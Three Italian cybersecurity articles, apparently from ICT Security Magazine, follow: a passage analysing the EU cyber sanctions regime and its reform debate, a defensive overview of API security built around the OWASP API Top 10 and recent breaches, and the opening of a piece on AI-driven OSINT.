Il caso Estonia è qui esemplare. Dietro una singola attribuzione pubblica, quattro anni di indagine e un’operazione coordinata da 14 servizi di dieci Paesi. Questo solleva una questione metodologica centrale: il processo di attribuzione è tanto più credibile quanto più è multilaterale. Non è un caso che le designazioni più solide siano sempre arrivate in scia a operazioni di condivisione dell’intelligence tra partner (come appunto Operation Toy Soldier), e non da iniziative unilaterali dei singoli Stati membri.

Il coordinamento dell’attribuzione avviene prevalentemente attraverso canali bilaterali tra gli Stati membri, senza un meccanismo centralizzato a livello UE. Questo crea asimmetrie notevoli: i Paesi con agenzie di intelligence più sviluppate (Paesi Bassi, Francia, Germania, Svezia, Estonia) tendono a svolgere un ruolo da traino nell’identificazione dei responsabili, mentre altri seguono. La questione si è acuita dopo la Brexit, privando l’UE dell’expertise del GCHQ nel circuito istituzionale europeo.

Il coordinamento con USA e UK: alleanza solida, architetture distinte

Il regime sanzionatorio europeo non opera nel vuoto: si inserisce in un ecosistema più ampio di misure restrittive occidentali. La tendenza alla coordinazione è strutturale: le sanzioni del luglio 2020 contro Russia, Cina e Corea del Nord arrivarono in parallelo con analoghi annunci da Washington e Londra.

Secondo il recente policy brief dell’European Policy Centre dedicato alle cyber sanctions UE-UK, la cooperazione tra i due partner è rimasta solida dopo la Brexit e fornisce una base stabile per ulteriori collaborazioni nel dominio cyber. Il regime britannico offre maggiore agilità e integrazione operativa, supportato da robuste capacità di intelligence e legami con il settore privato, pur dipendendo in misura ancora maggiore dalla cooperazione con i partner internazionali. Il framework UE beneficia di maggiore portata regolamentare, ma è vincolato da sfide legate principalmente al coordinamento dell’attribuzione, alla condivisione di informazioni, al processo decisionale e all’enforcement.

Nel maggio 2025 la dinamica coordinata è risultata particolarmente visibile: l’UE e il Regno Unito hanno lanciato una campagna sanzionatoria coordinata per colpire l’infrastruttura di guerra ibrida della Russia, coincidendo con il 17° pacchetto sanzionatorio europeo. Tra le entità designate figurava Stark Industries Solutions, un provider di hosting russo strettamente legato all’infrastruttura cybercriminale filo-russa, utilizzato dal gruppo DDoS NoName057(16) per attacchi contro obiettivi europei. A questo riguardo, le cyber sanctions come frammentazione digitale sono state analizzate approfonditamente anche sulle nostre pagine, dove emerge come le misure restrittive tendano a ridisegnare l’architettura stessa di internet in blocchi regionali sempre più separati.

Una nota dell’EUISS del maggio 2025 sottolinea che una task force bilaterale EU-UK sulle minacce ibride agevolerebbe il coordinamento e la condivisione di intelligence, particolarmente in un momento in cui strutture multilaterali più ampie potrebbero essere percepite come un ostacolo all’azione tempestiva, con preoccupazione crescente anche in seno all’alleanza Five Eyes per quanto riguarda la condivisione di intelligence con Washington.

I limiti strutturali: la regola dell’unanimità e il problema del deterrente

La critica più ricorrente al regime sanzionatorio cyber europeo non riguarda la sua architettura normativa (sostanzialmente solida) ma la sua governance politica. Il punto debole principale è la regola dell’unanimità.

Le decisioni e i regolamenti sulle sanzioni vengono adottati dal Consiglio dell’UE all’unanimità, in base al quadro della Politica Estera e di Sicurezza Comune (PESC). Questa regola, che riflette il carattere intergovernativo della PESC, consente a un singolo Stato membro di bloccare o ritardare qualsiasi designazione. Come ha analizzato il Verfassungsblog nell’ottobre 2025, la struttura del framework sanzionatorio è concepita in due passaggi (unanimità per le decisioni di principio e voto a maggioranza qualificata per le misure di implementazione), ma nella prassi i due passaggi vengono collassati in uno, amplificando la leva di un singolo veto. Il caso emblematico è quello dell’Ungheria, il cui uso sistematico del potere di blocco è diventato il simbolo di una PESC tendenzialmente disfunzionale.

Il problema non è teorico. Tra il 2011 e il 2025 si sono registrate almeno 45 opposizioni a decisioni di politica estera, e il caso di Cipro (che nel 2020 pose il veto alle sanzioni contro la Bielorussia per fare pressione sull’UE in una disputa con la Turchia) illustra come l’unanimità venga sempre più utilizzata come leva per strappare concessioni su temi non correlati.

Oltre all’unanimità, pesano le dimensioni numeriche del regime. Diciannove individui e sette entità (i numeri attuali del regime cyber orizzontale) appaiono esigui rispetto alla scala e alla frequenza delle operazioni ostili documentate. La valutazione del CSIS di marzo 2026 sottolinea che resilienza e sanzioni mirate sono necessarie ma non sufficienti da sole, e che l’Europa deve credibilmente sviluppare una capacità offensiva cyber in tempo di guerra, impegnarsi in contromisure cyber contro le attività di guerra ibrida e comunicare entrambe le cose in modo autorevole agli avversari.

Un terzo limite strutturale riguarda l’enforcement. L’efficacia delle misure restrittive (congelamento dei beni e divieto di viaggio) dipende dall’effettiva presenza di asset nell’UE da parte dei soggetti designati. Gli operatori di intelligence dei servizi russi o i componenti delle unità GRU tipicamente non detengono conti bancari in Europa né pianificano vacanze a Parigi. La deterrenza funziona su chi ha interessi patrimoniali nell’orbita europea; ha un effetto limitato su chi opera dall’interno di apparati statali stranieri o di aziende private (in Cina e Iran) che svolgono lavoro per conto di Pechino e Teheran.

Le proposte di riforma: verso una deterrenza più credibile

La consapevolezza dei limiti ha generato un dibattito vivace sulle riforme necessarie. Il contributo più sistematico e aggiornato è il policy brief di marzo 2026 dell’European Policy Centre, dedicato alla cooperazione EU-UK in materia di cyber sanctions.

Le raccomandazioni principali includono: rafforzare il coordinamento sull’attribution policy e la condivisione di intelligence; valutare il voto a maggioranza qualificata e le coalizioni dei volenterosi per le decisioni sanzionatorie; ampliare l’esposizione pubblica e l’attribuzione come strumenti di dissuasione complementari; prendere di mira gli ecosistemi più ampi che abilitano le operazioni cyber ostili; rafforzare la cooperazione con il settore privato riducendo le dipendenze strategiche; costruire campagne sanzionatorie sostenute attorno a narrative strategiche coerenti; e migliorare l’early warning e il coordinamento strategico sulle cyber sanctions tra UE e UK.

Sul fronte del voto a maggioranza qualificata, il dibattito si è intensificato. Come ha osservato l’Institut Jacques Delors in un documento del 2025, il meccanismo attuale lascia gli Stati membri esposti al ricatto politico. In piena conformità con il Trattato, non vi sarebbe motivo di ritenere che l’adozione di misure di implementazione delle sanzioni debba avvenire all’unanimità: la distinzione tra la decisione di principio (che richiede unanimità ex art. 29 TUE) e le misure di implementazione (modificabili con voto a maggioranza qualificata ex art. 215 TFEU) potrebbe essere recuperata per ridurre la leva del singolo veto.

Sul piano operativo, la risposta europea al problema dell’attribuzione punta sempre più su un approccio “ecosistemico”: anziché designare soltanto i singoli operatori, si mira a colpire l’intera catena di supporto (infrastrutture di hosting, intermediari finanziari, piattaforme di disinformazione, fornitori di strumenti). La designazione di Stark Industries Solutions nel maggio 2025 e quelle di marzo 2026 contro Integrity Technology Group e Anxun/i-Soon (due aziende private che svolgono funzioni di hacking-as-a-service per conto di attori statali) vanno esattamente in questa direzione.

Sul fronte istituzionale, il 16 marzo 2026 il Consiglio ha approvato conclusioni sull’avanzamento della capacità dell’UE di contrastare le minacce ibride, riaffermando la determinazione dell’Unione in questo dominio e consolidando la prospettiva di un EU hybrid toolbox sempre più integrato. Emerge anche la proposta italiana: nel novembre 2025 il Ministro della Difesa Guido Crosetto ha avanzato l’ipotesi di un organismo counter-hybrid a livello UE, affiancato da un corpo nazionale denominato Arma Cyber con un organico iniziale di 1.200-1.500 unità destinato a espandersi progressivamente fino a 5.000, inclusi i riservisti.

Il contesto della guerra ibrida: sanzioni come segnale, non come soluzione

Valutare l’efficacia delle sanzioni cyber significa confrontarsi con una domanda scomoda: a cosa servono, esattamente? Se l’obiettivo è fermare gli attacchi, l’evidenza empirica non è confortante.

Nel solo dicembre 2025, la Germania ha attribuito pubblicamente vari incidenti cyber ad attori russi, tra cui un attacco dell’agosto 2024 al controllo del traffico aereo tedesco ricondotto ad APT28 e una campagna di information operations contro obiettivi tedeschi. La Danimarca ha accertato che la Russia era dietro due attacchi definiti “distruttivi e perturbatori”, tra cui uno contro un’utility idrica e uno che ha disturbato siti istituzionali durante le elezioni locali del novembre 2025. Come abbiamo già documentato nell’analisi della cybercrisi italiana del 2025, il gruppo NoName057(16) ha trasformato il cybercrime da attività criminale sporadica a operazione geopolitica sistematica, con effetti diretti anche sul tessuto istituzionale italiano.

Se invece l’obiettivo è segnalare che certe condotte sono inaccettabili e costruire una norma internazionale condivisa, le sanzioni assolvono meglio la loro funzione. Ogni designazione è anche un atto di public attribution: fissa nella documentazione ufficiale dell’UE la responsabilità di specifici individui, unità e aziende per attacchi specifici. Questo ha valore politico-diplomatico, anche se i diretti interessati raramente perdono il sonno.

Come sottolinea il rapporto del CEPA del dicembre 2025, la resilienza da sola non fermerà la guerra ibrida: gli alleati devono affiancare alla deterrenza per negazione una deterrenza per punizione. Le contromisure pratiche dovrebbero includere l’attribuzione pubblica e il naming-and-shaming, la condivisione rafforzata di intelligence NATO-UE, lo smantellamento delle reti di disinformazione e la sanzione mirata di élite e reti di supporto. Un approccio coordinato NATO-UE è essenziale per allineare le leve economiche e giuridiche europee con le capacità militari e cyber dell’Alleanza, impedendo agli avversari di sfruttare le divisioni.

Conclusioni: un framework che deve crescere

Sei anni dopo la sua istituzione, il regime sanzionatorio cyber dell’UE ha dimostrato di poter funzionare: ha prodotto designazioni concrete, ha costruito una giurisprudenza politica condivisa sull’attribuzione, ha favorito il coordinamento con partner chiave. Le ultime designazioni di marzo 2026 (con l’inclusione esplicita di Cina e Iran accanto alla Russia) segnalano la maturazione del regime verso una visione davvero multilaterale della minaccia cyber. Il fatto che il quadro giuridico sia stato prorogato fino al maggio 2028 segnala la volontà politica di mantenere e sviluppare questo strumento nel lungo periodo.

Le sfide strutturali rimangono aperte. La regola dell’unanimità espone il meccanismo alla paralisi politica. La lista dei designati è numericamente esigua rispetto alla portata delle operazioni ostili documentate. L’approccio tradizionale (sanzionare individui specifici) mostra i suoi limiti contro apparati statali che operano con sostituibilità sistemica e contro ecosistemi privati di hacking-as-a-service che proliferano in Cina, Russia e Iran.

Il futuro del framework dipenderà dalla capacità di tre evoluzioni parallele: una riforma della governance decisionale che riduca il rischio del veto singolo attraverso la corretta applicazione della distinzione tra art. 29 TUE e art. 215 TFEU; un ampliamento dell’approccio sanzionatorio verso l’ecosistema abilitante delle operazioni cyber ostili; e un rafforzamento strutturale del coordinamento intelligence con USA e UK in un momento in cui le certezze atlantiche appaiono meno scontate.

La diplomazia coercitiva nel cyberspazio non è un’alternativa alla deterrenza militare o alla resilienza difensiva: è un pezzo di un puzzle più complesso. Ma è un pezzo che l’Europa ha il dovere di tenere affilato e di usare con maggiore rapidità, coraggio e precisione di quanto la storia recente abbia dimostrato.

https://www.ictsecuritymagazine.com/articoli/sanzioni-cyber-ue/

C’è un paradosso silenzioso al cuore dell’economia digitale contemporanea. Le API (Application Programming Interface) sono l’infrastruttura nervosa che tiene in vita ogni transazione bancaria, ogni ordine di e-commerce, ogni scambio di dati sanitari, ogni richiesta di un’applicazione mobile. Sono invisibili all’utente finale, onnipresenti nel codice, fondamentali per qualunque modello di business digitale. Eppure, proprio questa ubiquità le rende il bersaglio preferito degli attaccanti moderni e, troppo spesso, il punto più trascurato dell’intera catena della sicurezza informatica.

I numeri aiutano a comprendere la dimensione del problema. Secondo il Cloudflare Radar 2025 Year in Review, l’analisi più autorevole e aggiornata disponibile, basata sull’osservazione diretta di una rete globale presente in oltre 330 città, le API rappresentano oggi più della metà di tutto il traffico web dinamico, con un’incidenza in costante crescita.

Akamai, su un campione diverso di traffico internet, stima la quota fino all’83%. Nel solo 2025, le API hanno generato oltre 11.000 bollettini di sicurezza, pari al 17% di tutte le vulnerabilità software pubblicamente divulgate in un anno. Il traffico malevolo diretto verso le API è cresciuto del 681% nell’arco degli ultimi anni, secondo il Wallarm 2026 API ThreatStats Report. Quasi il 99% delle organizzazioni ha dichiarato di aver subito almeno un incidente legato alla sicurezza delle API negli ultimi dodici mesi. Non si tratta di statistiche marginali: è la fotografia di un’infrastruttura critica sotto assedio sistematico, e di un settore che stenta ancora a rispondere con adeguata consapevolezza.

Un bersaglio su misura per gli attaccanti

Cosa rende le API un vettore così attraente? La risposta sta nella loro natura strutturale. A differenza delle applicazioni web tradizionali, un’API non ha una “porta d’ingresso” visibile: non ha un login, non ha un CAPTCHA, non ha l’interfaccia grafica che un essere umano deve attraversare. È progettata per essere consumata da macchine, e le macchine non faticano a sparare decine di migliaia di richieste al secondo. Un’organizzazione che espone API pubbliche riceve in media 10.000 attacchi al giorno. Le API GraphQL, sempre più diffuse per la loro flessibilità, hanno visto un incremento del 140% nei tentativi di abuso nel corso del 2025.

La semplicità di attacco è altrettanto allarmante. Secondo il Wallarm 2026 API ThreatStats Report, il 97% delle vulnerabilità API è sfruttabile con una singola richiesta HTTP. Il 98% è classificato come facile o banale da sfruttare. Il 59% non richiede nemmeno autenticazione. Il 30% ha già exploit pubblici disponibili nel momento stesso in cui la vulnerabilità viene divulgata. Questa combinazione di alta diffusione, alta sfruttabilità e bassa complessità trasforma le API in un terreno di caccia privilegiato per attori di ogni livello, dai criminali opportunistici alle APT sofisticate.

A questo si aggiunge la questione del rilevamento. Solo il 21% delle organizzazioni dichiara di avere capacità solide nell’identificare attacchi a livello API. Appena il 13% riesce a prevenire più del 50% degli attacchi. Gli strumenti tradizionali come i Web Application Firewall (WAF) si rivelano inadeguati: il 53% delle organizzazioni ne riconosce apertamente i limiti nella rilevazione di frodi a livello API. Siamo di fronte a un disallineamento strutturale tra la superficie esposta e le difese disponibili.

L’OWASP API Security Top 10: una mappa delle fragilità

Dal 2019, l’Open Worldwide Application Security Project pubblica la propria lista delle vulnerabilità API più critiche. La versione aggiornata al 2023, oggi il riferimento di settore, riflette un’evoluzione significativa del panorama delle minacce. L’88% degli attacchi reali sfrutta almeno una delle vulnerabilità elencate, il che rende questa tassonomia uno strumento di prioritizzazione imprescindibile per qualunque team di sicurezza.

API1:2023 – Broken Object Level Authorization (BOLA) rimane, a distanza di anni, la vulnerabilità più sfruttata nelle API. Si manifesta quando un endpoint espone dati di un oggetto senza verificare che l’utente autenticato abbia effettivamente il diritto di accedervi. Un attaccante che conosce o indovina l’identificatore di un record (un numero d’ordine, un ID paziente, un codice cliente) può semplicemente cambiarlo nella richiesta e accedere ai dati altrui. La logica è elementare; l’impatto, devastante.

API2:2023 – Broken Authentication aggrega tutte le debolezze legate alla gestione dell’identità: password deboli, token JWT mal configurati, assenza di blocco su tentativi multipli, meccanismi di reset insicuri. In questa categoria rientrano anche i frequenti errori nella gestione dei segreti: chiavi API hard-coded nel codice sorgente, token esposti in repository pubblici, credenziali condivise tra ambienti di produzione e sviluppo. Un caso emblematico, divulgato nel dicembre 2024 dal team TRIAD di CloudSEK: la scoperta di oltre 30.000 workspace Postman accessibili pubblicamente, contenenti token di accesso attivi, chiavi API reali e payload con dati sanitari e credenziali aziendali di organizzazioni in settori che vanno dalla finanza all’abbigliamento sportivo.

API3:2023 – Broken Object Property Level Authorization (BOPLA) è una novità della lista 2023, nata dalla fusione di due categorie precedenti (Excessive Data Exposure e Mass Assignment). Riconosce che il problema non è solo chi può accedere a un oggetto, ma anche quali proprietà di quell’oggetto possono essere lette o modificate. Un utente che riesce a modificare un campo come role: admin in una richiesta PUT sta sfruttando esattamente questa vulnerabilità.

API4:2023 – Unrestricted Resource Consumption riguarda la mancanza di limiti efficaci sull’uso delle risorse: assenza di rate limiting, nessun controllo sulla dimensione dei payload, nessun tetto alle query su database o ai servizi di terze parti a pagamento. Gli attacchi DDoS diretti alle API sono cresciuti del 200% nel 2025. In assenza di throttling, un attaccante può paralizzare un servizio o generare costi operativi insostenibili attraverso richieste massive e automatizzate.

API5:2023 – Broken Function Level Authorization (BFLA) colpisce quando la distinzione tra funzioni amministrative e funzioni utente non è enforcement a livello backend. Se un’API non verifica il livello di privilegio richiesto per ciascun endpoint, un utente ordinario potrebbe invocare endpoint di amministrazione semplicemente conoscendone il path.

API6:2023 – Unrestricted Access to Sensitive Business Flows è la vulnerabilità più sottile e difficile da rilevare automaticamente. Non riguarda un bug tecnico, ma l’assenza di protezione contro l’uso massiccio e automatizzato di flussi di business legittimi: acquisto di biglietti, creazione di account, pubblicazione di contenuti. Un bot che acquista in millisecondi tutti i posti di un concerto sta sfruttando questa categoria, e nessuno scanner tradizionale lo individuerà.

API7:2023 – Server-Side Request Forgery (SSRF) è una novità del 2023. Si verifica quando un’API recupera risorse remote senza validare l’URI fornito dall’utente, consentendo a un attaccante di instradare richieste verso sistemi interni, servizi di metadata cloud o endpoint protetti da firewall.

API8:2023 – Security Misconfiguration è il contenitore di una casistica vastissima: CORS permissivi, header di sicurezza assenti, messaggi di errore verbosi che rivelano la struttura interna, TLS non configurato, porte di debug esposte in produzione. I cloud provider registrano misconfigurazioni API in oltre il 30% dei casi di breach.

API9:2023 – Improper Inventory Management riguarda le cosiddette shadow API, un tema che merita un approfondimento dedicato per la rilevanza che ha assunto negli ultimi anni, come illustrato nel paragrafo seguente.

API10:2023 – Unsafe Consumption of APIs è l’unica voce della lista che capovolge la prospettiva: non riguarda i rischi di essere un provider di API, ma quelli di essere un consumer. Un’applicazione che consuma API di terze parti senza validarne l’output, senza limitare i dati elaborati e senza considerare la possibilità di un provider compromesso, eredita automaticamente le vulnerabilità di quell’ecosistema.

Il problema delle shadow API: quello che non sai che esiste

Tra tutte le sfide della sicurezza API, la gestione delle API non documentate, denominate shadow API o zombie API, è probabilmente la più sistemica e la più sottovalutata. Le shadow API sono endpoint reali, attivi, raggiungibili dalla rete, che non compaiono in nessun inventario ufficiale, non sono soggetti a test di sicurezza, non sono monitorati da nessun team. Possono essere API di vecchie versioni dimenticate durante una migrazione, endpoint di sviluppo mai rimossi in produzione, integrazioni create da team interni senza passare per il processo formale di release.

I numeri dicono che le shadow API rappresentano oltre il 20% dell’inventario API totale nelle organizzazioni enterprise. Le istituzioni finanziarie gestiscono in media 601 API e una parte rilevante di queste sfugge a qualsiasi governance attiva. Un caso paradigmatico del 2025 è quello di Stripe: attaccanti hanno individuato un endpoint legacy (/v1/sources) ancora collegato ai sistemi di validazione pagamenti, privo dei controlli di sicurezza delle API moderne, e lo hanno sfruttato per condurre una campagna massiva di card skimming su almeno 49 e-commerce compromessi. L’endpoint era un residuo dell’architettura precedente, scarsamente documentato e ignorato nei security audit. Non una vulnerabilità zero-day: un oggetto dimenticato.

Quello di Stripe non è un caso isolato. Il breach di Optus del settembre 2022 ha esposto i dati personali di quasi 10 milioni di clienti australiani, quasi un terzo della popolazione del paese, attraverso un’API priva di autenticazione rimasta accessibile da internet per circa tre mesi. Secondo l’analisi dell’Australian Communications and Media Authority (ACMA), un errore di codifica introdotto nel 2018 aveva reso inefficaci i controlli di accesso su un sottodominio, e il problema era rimasto non rilevato nonostante una correzione parziale applicata nel 2021 sul dominio principale. L’attaccante non aveva bisogno di strumenti sofisticati: l’API non richiedeva alcuna autenticazione, e i customer ID erano numerici e incrementali, rendendoli banalmente enumerabili.

Il breach che nel 2022 ha colpito Twitter è spesso descritto in modo impreciso. Non si trattava di un’API legacy dimenticata, ma di un bug introdotto nell’aggiornamento del codice di giugno 2021: la vulnerabilità consentiva a chiunque di sottomettere un numero di telefono o un indirizzo e-mail all’API della piattaforma e ricevere in risposta l’ID dell’account Twitter associato, anche quando l’utente aveva esplicitamente configurato le impostazioni di privacy per impedire questa correlazione.

Il bug fu segnalato tramite bug bounty in gennaio 2022 e corretto subito dopo; era però già stato sfruttato da almeno dicembre 2021. Un threat actor aveva creato un database di 5,4 milioni di profili, incluse informazioni private come numeri di telefono e indirizzi e-mail, poi venduto online e infine diffuso gratuitamente. Ulteriori analisi rivelarono che la stessa vulnerabilità era stata sfruttata su scala molto più ampia, portando a un dataset finale di oltre 200 milioni di account.

In entrambi i casi, come nel caso Stripe, la catena causale è identica: controlli insufficienti, endpoint dimenticati o alterati, nessun monitoraggio, nessun alert.

Breach recenti: leggere gli incidenti come segnali

L’analisi dei 60 breach API divulgati nel 2025, condotta da Wallarm nel 2026 API ThreatStats Report, restituisce un quadro per settori e categorie: software (15%), piattaforme AI (15%), vendor di cybersecurity (13%), SaaS (8%), automotive (7%), cloud services (7%). Mappati sulla tassonomia OWASP, la broken authentication è responsabile del 52% degli incidenti, mentre l’unsafe consumption di API di terze parti spiega il 27%.

Tra gli episodi più rilevanti del 2025: API di terze parti hanno esposto milioni di record presso il fornitore di servizi creditizi 700Credit; debolezze nell’autenticazione delle API Qantas hanno permesso accessi di massa non autorizzati; credenziali rubate e permessi API eccessivi hanno abilitato transazioni fraudolente su SwissBorg; server MCP esposti hanno fatto trapelare infrastrutture di agent AI su larga scala. A maggio 2025 un hacker con lo pseudonimo “ByteBreaker” ha pubblicato su forum underground la presunta raccolta di dati relativi a 1,2 miliardi di account Facebook tramite abuso di API.

Meta ha negato si tratti di un breach nuovo, sostenendo che il dataset reimpacchetti dati già divulgati nel 2021; i ricercatori di Cybernews e Hackread hanno rilevato incongruenze strutturali nella dimensione dichiarata e sovrapposizioni significative con il leak precedente. Il claim resta pertanto non verificato indipendentemente, ma l’episodio conferma il modello di sfruttamento delle API come vettore di data harvesting massivo.

Il filo conduttore è sempre lo stesso: non exploit sofisticati, non attori nation-state con capacità eccezionali, ma debolezze fondamentali (autenticazione assente o debole, autorizzazione non granulare, endpoint dimenticati, terze parti non verificate) sfruttate con strumenti automatizzati alla portata di qualunque attore.

DevSecOps e la sicurezza by design: integrare prima che sia tardi

La risposta sistemica al problema della sicurezza API non può essere post-hoc. Applicare controlli di sicurezza su API già in produzione è costoso, inefficace e spesso destinato a fallire. La strada maestra è l’integrazione della sicurezza nel ciclo di vita dello sviluppo, in quello che il settore definisce approccio DevSecOps oppure, più recentemente, shift-left security.

In pratica, questo significa che il processo di sviluppo deve includere: modellazione delle minacce nella fase di design (identificare le attack surface prima di scrivere codice); revisione del codice orientata alla sicurezza (con particolare attenzione alla gestione dei segreti, alla sanitizzazione degli input, alla corretta implementazione dell’autenticazione); test automatizzati di sicurezza nelle pipeline CI/CD (SAST per il codice sorgente, DAST per le API deployate, test specifici contro le vulnerabilità OWASP); e monitoraggio continuo in produzione, con alerting su anomalie comportamentali che potrebbero segnalare tentativi di exploitation.

Questo approccio richiede che la sicurezza non sia responsabilità esclusiva di un team separato, ma venga distribuita attraverso l’intera organizzazione di sviluppo. I developer devono conoscere le vulnerabilità OWASP API Top 10. I team di prodotto devono includere requisiti di sicurezza nelle specifiche. I team di infrastruttura devono garantire che le pipeline espongano segnali di sicurezza rilevabili. Tuttavia, secondo il 2025 State of API Security Report di Traceable AI, basato su oltre 1.500 professionisti IT e cybersecurity, solo il 14% delle organizzazioni ha attualmente una strategia formale di API posture governance. Il gap tra l’ambizione del DevSecOps e la sua attuazione pratica rimane ampio.

Un nodo critico è rappresentato dall’adozione dell’AI generativa nello sviluppo software. La pratica del cosiddetto vibe coding, generare codice API con assistenti AI senza un’adeguata revisione critica, è diventata pervasiva. Secondo Akamai, l’AI-assisted coding è associato a un aumento di misconfigurazioni, impostazioni predefinite insicure e vulnerabilità trascurate nelle API generate. Il 65% delle organizzazioni considera la GenAI un rischio da serio a estremo per la sicurezza delle proprie API. La velocità di sviluppo che l’AI permette amplifica proporzionalmente la superficie esposta se non è accompagnata da un’eguale accelerazione dei controlli di sicurezza.

PSD2, Open Banking e DORA: la sicurezza delle API come obbligo regolatorio

Nel settore finanziario, la sicurezza delle API non è solo una questione tecnica: è un obbligo normativo con conseguenze legali misurabili. La Direttiva PSD2 ha imposto alle banche europee di esporre API dedicate ai Third-Party Provider (TPP), ovvero fintech autorizzate a offrire servizi di pagamento e aggregazione di conti, con requisiti stringenti di Strong Customer Authentication (SCA), dynamic linking e identificazione tramite certificati eIDAS. In questa architettura aperta, ogni vulnerabilità su un’API bancaria è potenzialmente una violazione dei dati del cliente, una frode abilitata dalla piattaforma e una sanzione per la banca emittente.

Le penali per non conformità possono raggiungere il 4% del fatturato annuo o 5 milioni di euro, applicando il criterio più alto. Ma il quadro si è ulteriormente complicato. Con l’accordo politico su PSD3/PSR raggiunto a novembre 2025 e l’adozione formale attesa nel primo semestre 2026, cui seguirà un periodo di transizione di 21 mesi verso l’implementazione completa prevista intorno al 2027, le banche europee si trovano ora a navigare obblighi paralleli e crescenti: responsabilità ampliata per le frodi da impersonificazione, verifica obbligatoria del beneficiario (Verification of Payee), autenticazione a doppia inerenza e benchmark di performance API più severi.

Parallelamente, DORA (il Digital Operational Resilience Act, entrato pienamente in vigore il 17 gennaio 2025) ha unificato il regime di incident reporting per il settore finanziario. L’EBA ha formalmente abrogato le proprie linee guida PSD2 sulla notifica degli incidenti, sostituendole con il framework DORA. Questo cambiamento non è meramente amministrativo: significa che un breach su un’API Open Banking deve ora essere gestito attraverso il prisma della resilienza operativa digitale, con obblighi di notifica armonizzati e un orizzonte di governance che abbraccia l’intera catena tecnologica, incluse le terze parti. Va notato che questa convergenza risolve parzialmente, ma non elimina, la tensione strutturale tra PSD2 (che spinge verso l’apertura dei dati) e il GDPR (che impone la protezione dei dati personali).

Come documentato in uno studio peer-reviewed pubblicato su MDPI nel gennaio 2026, i requisiti sovrapposti di consenso e protezione dei dati creano ancora incertezza nella governance e nell’allocazione delle responsabilità tra banche e TPP, anche alla luce del quadro normativo europeo DORA e NIS2.

Sul piano tecnico, il framework FAPI 2.0 (Financial-grade API Security Profile) ha raggiunto la propria specifica finale nel febbraio 2025, diventando il riferimento per l’implementazione sicura di API ad alto valore. FAPI 2.0 richiede l’uso di Pushed Authorization Requests (PAR), PKCE per tutti i client e token sender-constrained tramite mTLS o DPoP. Il 75% delle banche europee ha già adottato lo standard NextGenPSD2 del Berlin Group.

PCI DSS 4.0.1, diventata l’unica versione attiva dall’aprile 2025, è il primo standard PCI a citare esplicitamente le API come oggetto di controlli di sicurezza: il Requisito 6.4.2 impone soluzioni automatizzate davanti alle API pubbliche per rilevare e prevenire attacchi; il Requisito 6.3.2 richiede un inventario completo di tutto il software custom incluse le API. La non conformità comporta sanzioni tra 5.000 e 100.000 dollari al mese.

La frammentazione persistente nella qualità delle implementazioni rimane una fonte di rischio documentata dalla stessa Commissione Europea, che ha rilevato significative discrepanze negli standard API tra istituti diversi: un problema che PSD3 punta a risolvere attraverso benchmark di performance più stringenti e l’eliminazione definitiva del fallback allo screen scraping.

Verso una maturità sistemica: cosa manca ancora

Osservando il panorama nel suo insieme, la distanza tra il livello di esposizione e il livello di maturità difensiva delle organizzazioni appare strutturalmente preoccupante. Il 57% delle organizzazioni ha subito un breach API negli ultimi due anni, con il 73% di queste che ne ha subiti tre o più. Il 41% dichiara cinque o più episodi. Si tratta di fallimenti sistemici, non di incidenti episodici.

La risposta richiede un cambio di paradigma su più livelli. Primo, il problema della visibilità: non è possibile proteggere ciò che non si conosce. La discovery continua delle API, incluse le shadow API, deve diventare una funzione operativa permanente, non un esercizio periodico. Secondo, il problema della governance: le organizzazioni devono trattare ogni API come un asset critico, con un ciclo di vita documentato, un responsabile identificato, test di sicurezza automatizzati e metriche di esposizione misurabili. Terzo, il problema della cultura: finché la sicurezza API è percepita come un vincolo tecnico imposto a posteriori, anziché come una proprietà architettonica costruita ab initio, il divario tra attaccanti e difensori continuerà ad ampliarsi.

Le previsioni per il 2026 non lasciano spazio all’ottimismo passivo. Akamai stima che le API diventeranno il vettore dominante per i breach a livello applicativo, potenzialmente responsabili di più della metà di tutti gli attacchi alle applicazioni. Il Model Context Protocol, l’infrastruttura che collega gli agenti AI alle API esterne, ha già accumulato 315 vulnerabilità documentate nel 2025, pari al 14,4% di tutte le vulnerabilità AI, con una crescita del 270% tra il secondo e il terzo trimestre. L’interconnessione crescente tra sistemi AI agentici e API di business apre una superficie d’attacco che oggi non è ancora pienamente compresa né adeguatamente presidiata.

Conclusione

Le API sono, nel senso più letterale, i punti di connessione dell’economia digitale. Sono ciò che permette a una banca di condividere i dati di un cliente con un’app fintech, a un ospedale di integrare i referti con un sistema di telemedicina, a una supply chain di coordinare ordini e spedizioni in tempo reale. La loro sicurezza non è un problema tecnico tra gli altri: è una condizione necessaria per la fiducia digitale su cui si regge l’intero ecosistema.

Il paradosso è che questa centralità non si traduce ancora in un’attenzione proporzionale. Le organizzazioni investono in perimetri, in endpoint protection, in SIEM sofisticati e lasciano le API senza inventario, senza test, senza monitoraggio. Solo il 14% ha una strategia formale di governance. Meno di una su cinque riesce a rilevare con sufficiente efficacia gli attacchi che la colpiscono. Gli attaccanti hanno capito dove si trova il valore. La domanda è se le organizzazioni abbiano la stessa chiarezza sul proprio tallone d’Achille e, soprattutto, se abbiano la volontà di trasformare quella consapevolezza in azione prima che sia il prossimo breach a farlo decidere per loro.

https://www.ictsecuritymagazine.com/articoli/sicurezza-delle-api/

L’Open Source Intelligence non è mai stata soltanto una questione di strumenti. È sempre stata, prima di tutto, una questione di metodo: la capacità di trasformare frammenti di informazione pubblica in conoscenza operativa, passando attraverso raccolta, correlazione, verifica e interpretazione. Per decenni, questo processo ha richiesto pazienza, rigore analitico e una buona dose di creatività umana. Oggi, l’intelligenza artificiale sta comprimendo in minuti ciò che richiedeva giorni, e sta aprendo possibilità analitiche che fino a poco tempo fa appartenevano alla fantascienza. Ma sta anche consegnando le stesse capacità a chi ha interesse a fare danno.

Questo è il doppio binario su cui si muove l’AI-OSINT nel 2026: uno strumento di straordinaria utilità difensiva e, al tempo stesso, un moltiplicatore di forza per gli avversari. Capire entrambe le facce non è un esercizio teorico, è una necessità pratica per chiunque lavori nel campo della sicurezza.

Il problema del volume: quando i dati superano la capacità umana

Al cuore dell’OSINT è sempre stata la capacità di usare dati pubblici per risolvere un’indagine, ma oggi il volume ha superato di gran lunga ciò che qualsiasi analista umano può realisticamente gestire. Il web indicizzato, il dark web, i social media, i registri pubblici, le immagini satellitari commerciali, le blockchain, i repository di codice aperti: la superficie informativa disponibile cresce in modo esponenziale, e con essa il rischio che segnali rilevanti si perdano nel rumore.

